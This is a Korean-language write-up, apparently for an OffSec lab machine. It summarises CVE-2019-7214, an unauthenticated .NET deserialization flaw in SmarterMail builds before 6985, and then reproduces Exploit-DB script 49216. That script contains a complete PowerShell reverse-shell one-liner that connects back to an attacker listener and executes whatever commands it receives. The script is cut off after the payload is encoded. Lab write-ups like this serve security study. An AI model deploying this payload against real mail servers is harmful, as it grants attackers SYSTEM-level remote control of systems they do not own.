CVE-2019-7214 Analysis
CVE-2019-7214 취약점 개요
CVE-2019-7214
- 취약한 소프트웨어: SmarterTools SmarterMail 16.x 버전, 빌드 6985 이전
- 취약점 유형: .NET 객체 역직렬화 취약점 (Deserialization of Untrusted Data)
- 취약점 위치: SmarterMail이 사용하는 .NET Remoting Endpoint (기본 포트 17001)
- 취약점 설명:
- 외부에서 역직렬화할 때 신뢰하지 않은 데이터가 처리되면서 임의의 코드를 실행할 수 있음
- 인증이 필요 없으며, 공격자가 원격에서 서버 권한으로 명령어를 실행 가능
- 공격 성공 시 NT AUTHORITY\SYSTEM 권한으로 완전한 서버 제어 가능
- 공격 경로
- SmarterMail 서버의 17001 포트 (/Servers, /Mail, /Spool) 접근 통로를 통해 .NET 바이너리 포맷 데이터를 역직렬화하는 과정에서 발생
- 이 포트를 원격에서 노출한 경우 큰 위험
- 영향
- 원격 인증 없이 시스템 권한이 탈취될 수 있음
- 확인 사항: smarterMail 서비스가
6985이전 빌드이고, 포트 17001 포트에서.NET remoting 서비스가 실행중이어야 공격이 가능하다.
Exploit 과정
└─$ searchsploit smartermail
SmarterMail Build 6985 - Remote Code Execution | windows/remote/49216.py
[ . . . ]
┌──(kali㉿kali)-[~/Desktop/offsec/Algernon]
└─$ searchsploit -m 49216
CVE-2019-7214 49216-Exploit-DB
$ vim 49216
# Exploit Title: SmarterMail Build 6985 - Remote Code Execution
# Exploit Author: 1F98D
# Original Author: Soroush Dalili
# Date: 10 May 2020
# Vendor Hompage: re
# CVE: CVE-2019-7214
# Tested on: Windows 10 x64
# References:
# https://www.nccgroup.trust/uk/our-research/technical-advisory-multiple-vulnerabilities-in-smartermail/
#
# SmarterMail before build 6985 provides a .NET remoting endpoint
# which is vulnerable to a .NET deserialisation attack.
#
#!/usr/bin/python3
import base64
import socket
import sys
from struct import pack
HOST='192.168.107.65' // 해당 부분 변경
PORT=17001 // 해당 부분 변경
LHOST='192.168.45.237' // 해당 부분 변경
LPORT=4444 // 해당 부분 변경
psh_shell = '$client = New-Object System.Net.Sockets.TCPClient("'+LHOST+'",'+str(LPORT)+');$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
psh_shell = psh_shell.encode('utf-16')[2:] # remove BOM
psh_shell = base64.b64encode(psh_shell)
psh_shell = psh_shell.ljust(1360, b' ')
댓글 남기기